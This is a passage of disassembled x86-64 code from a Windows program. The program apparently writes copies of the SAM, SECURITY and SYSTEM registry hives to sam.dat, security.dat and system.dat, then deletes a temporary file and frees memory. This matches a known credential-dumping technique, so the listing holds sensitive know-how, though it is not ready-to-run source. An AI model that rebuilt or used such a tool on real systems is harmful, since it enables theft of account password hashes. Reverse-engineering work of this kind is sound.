call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x14000557c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x14000559e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x1400055c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x1318]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1328]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, str.___All_done__n_n
call fcn.14000115e
xor eax, eax
jmp 0x140005879
cmp qword [rbp + 0x1258], 0
je 0x140005625
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.140001299
cmp qword [rbp + 0x11f8], 0
je 0x140005873
cmp qword [rbp + 0x1218], 0
je 0x140005873
cmp qword [rbp + 0x1238], 0
je 0x140005873
mov edx, 0x104
lea rcx, [rbp + 0x3270]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x140005678
lea rcx, str.____Unable_to_Get_Current_Directory__n
call fcn.14000115e
jmp 0x140005729
lea r8, [rbp + 0x3270]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x33a0]
call fcn.14000128a
lea r8, [rbp + 0x3270]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x34d0]
call fcn.14000128a
lea r8, [rbp + 0x3270]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x3600]
call fcn.14000128a
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x33a0]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.140001299
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x34d0]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.140001299
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x3600]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.140001299
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001172
mov edx, 1
mov rcx, qword [rbp + 0x1328]
call fcn.140001230
cmp dword [rbp + 0x1340], 0
je 0x1400057b9
mov dword [rbp + 0x1464], 0
jmp 0x14000576e
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x14000579d
mov edx, 1
mov rcx, qword [rbp + 0x1318]
call fcn.140001230
test eax, eax
je 0x140005790
jmp 0x14000579d
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005760
cmp dword [rbp + 0x1464], 0x14
jne 0x1400057b9
mov rdx, qword [rbp + 0x1318]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
je 0x1400057db
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x1400057fd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x14000581f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x140005841
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x1318]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1328]
call qword [sym.imp.ucrtbased.dll_free]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x140005877
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140012410]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x3d70]
pop rdi
pop rsi
pop rbp
ret